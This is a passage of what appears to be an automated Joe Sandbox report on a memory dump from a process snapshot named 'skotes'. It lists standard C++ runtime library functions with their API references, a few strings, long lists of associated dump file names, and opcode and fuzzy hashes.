std::_Rethrow_future_exception.LIBCPMT ref: 002A6F32
__Mtx_unlock.LIBCPMT ref: 002A6FD5
__Mtx_unlock.LIBCPMT ref: 002A70DB
__Mtx_unlock.LIBCPMT ref: 002A7116

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: c7ced7922f5e3d71f8e8862dd27116a8b311bab3cba025b9374a8ed935be4932
Instruction ID: 0ca651601178be74018a675ff635e703c9233953bf4a7cc24ecf0352542a0b49
Opcode Fuzzy Hash: c7ced7922f5e3d71f8e8862dd27116a8b311bab3cba025b9374a8ed935be4932
Instruction Fuzzy Hash: 97C1F3719243059FDF21DFA4C949BAEBBF4EF06310F14452EE81697642EF31A928CB61

Function 002AECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 002AECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 002AED17

Part of subcall function 002AF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 002AF3FA

__alloca_probe_16.LIBCMT ref: 002AED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 002AED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 002AEDC6
__freea.LIBCMT ref: 002AEDEC

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: e593d06725e4d51f5e49c47e6cf68f25cabe099e972878086f7a2fb5907a6a26
Instruction ID: e76556f47527f03fe84f1a73ebde90d5a8c4fb59adba500b664b7ebce0f3f526
Opcode Fuzzy Hash: e593d06725e4d51f5e49c47e6cf68f25cabe099e972878086f7a2fb5907a6a26
Instruction Fuzzy Hash: B7319071A20606CBCF15DFA8C9415ADB7B9AF0A310B26406EE805E7340DF749E12CB90

Function 002CCBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 002CCC66

Strings

v,, xrefs: 002CCBE1

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v,
API String ID: 3213747228-2945197583
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 67d2b959389d07adfdcd2242f6fe871bf73efed8f4977e69a27f22111189a165
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 3EB138329246869FDB15CF28C841FAEBBE5EF46340F3442AEE859DB341D6348E11CB60

Function 002C1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 002C1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 002C1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 002C1C2A

Strings

switchState, xrefs: 002C1B5E
pContext, xrefs: 002C1C22

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 8e53354a8f4f8edee491e40a5b5a9b9e970cd250c33ef50be319dca7f7660bc0
Instruction ID: f5d1f61a207553113264870b79e5e9ef9a79942ade1f2c56e037069b3f19b9aa
Opcode Fuzzy Hash: 8e53354a8f4f8edee491e40a5b5a9b9e970cd250c33ef50be319dca7f7660bc0
Instruction Fuzzy Hash: 6631B235A602059BCF04EF64C886EADB3B5BF56314F204669E91197282EB70EE35CE90

Function 002C4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 002C4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 002C4E86
PMDtoOffset.LIBCMT ref: 002C4EAC

Strings

Bad dynamic_cast!, xrefs: 002C4EEE

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
